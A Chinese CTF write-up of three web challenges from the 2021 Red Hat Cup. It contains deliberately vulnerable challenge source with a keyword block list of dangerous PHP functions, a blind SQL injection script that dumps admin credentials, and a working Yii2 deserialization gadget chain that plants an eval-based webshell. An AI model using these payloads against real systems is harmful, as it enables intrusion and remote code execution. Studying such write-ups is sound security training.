2021 红帽 Web Write Up

# 2021 红帽 Web Write Up

# Find it

robots.txt提示1ndexx.php

.1ndexx.php.swp拿到源码

<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
	<title>Hello worldd!</title>
	<style>
	body {
		background-color: white;
		text-align: center;
		padding: 50px;
		font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
	}

	#logo {
		margin-bottom: 40px;
	}
	</style>
</head>
<body>
	<img id="logo" src="logo.png" />
	<h1><?php echo "Hello My freind!"; ?></h1>
	<?php if($link) { ?>
		<h2>I Can't view my php files?!</h2>
	<?php } else { ?>
		<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
	<?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
	die("you die");
}
if(strlen($a)>33){
	die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

好像可以直接写<? phpinfo();?>直接在里面找到flag ....

# WebsiteManger

image.php注入

import requests
from urllib.parse import quote

url = "http://eci-2zeekzpgsy8b5z723xws.cloudeci1.ichunqiu.com"

sql = 'select(group_concat(column_name))from(information_schema.columns)'
sql = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()'
sql = 'select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()'
sql = 'select(password)from(users)'

ret = ''
for i in range(1,1000):
	for ch in range(33,127):
		path = f'/image.php?id=0^(ascii(substr(({quote(sql)}),{i},1))={ch})'
		r = requests.get(url+path)
		if len(r.text) > 1000 :
			ret += chr(ch)
			print(ret)
			break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

拿到用户名密码

admin,6397e67bf1530efd247c

# framework

入口点在

<?php

namespace app\controllers;

use Yii;
use yii\filters\AccessControl;
use yii\web\Controller;
use yii\web\Response;
use yii\filters\VerbFilter;
use app\models\ContactForm;
use yii\db\BatchQueryResult;
use yii\web\DbSession;
use yii\rest\IndexAction;
use yii\rest\Action;


class SiteController extends Controller
{
    /**
     * {@inheritdoc}
     */
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'only' => ['logout'],
                'rules' => [
                    [
                        'actions' => ['logout'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    'logout' => ['post'],
                ],
            ],
        ];
    }

    /**
     * {@inheritdoc}
     */
    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
            'captcha' => [
                'class' => 'yii\captcha\CaptchaAction',
                'fixedVerifyCode' => YII_ENV_TEST ? 'testme' : null,
            ],
        ];
    }

    /**
     * Displays homepage.
     *
     * @return string
     */
    public function actionIndex()
    {
        return $this->render('index');
    }

    /**
     * Login action.
     *
     * @return Response|string
     */
    public function actionLogin()
    {
        return $this->render('index');
    }

    /**
     * Logout action.
     *
     * @return Response
     */
    public function actionLogout()
    {
        Yii::$app->user->logout();

        return $this->goHome();
    }

    /**
     * Displays contact page.
     *
     * @return Response|string
     */
    public function actionContact()
    {
        $model = new ContactForm();
        return $this->render('index', [
            'model' => $model,
        ]);
    }

    /**
     * Displays about page.
     *
     * @return string
     */
    public function actionAbout($message = 'Hello')
    {
        $data = base64_decode($message);
        unserialize($data);
    }
    
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117

反序列化入口点

http://127.0.0.1/index.php?r=site%2Fabout&message=xxx

用现成链子一把梭了

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = "file_put_contents('eki.php','<?php eval(\$_POST[cmd]);');";
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

然后antsword绕过模式了一把梭了

# test

::: encrypt encrypted key=key owners=eki /WHGR0rBMhMtMpju/ZWP7fvUIkuprBoRXFhTgZvoPEg32pbuIHzoYwIVruhv54Xlwwegc3bslasJsCy pLfWSkgadzn0vsZI7VbFT11LhvjTUzMqt1Y3I+EY7xbG55AaHGxKz0CcRdQDJaFDmrCDoXsDi5Q** :::

编辑

上次更新: 2022/05/18, 16:49:51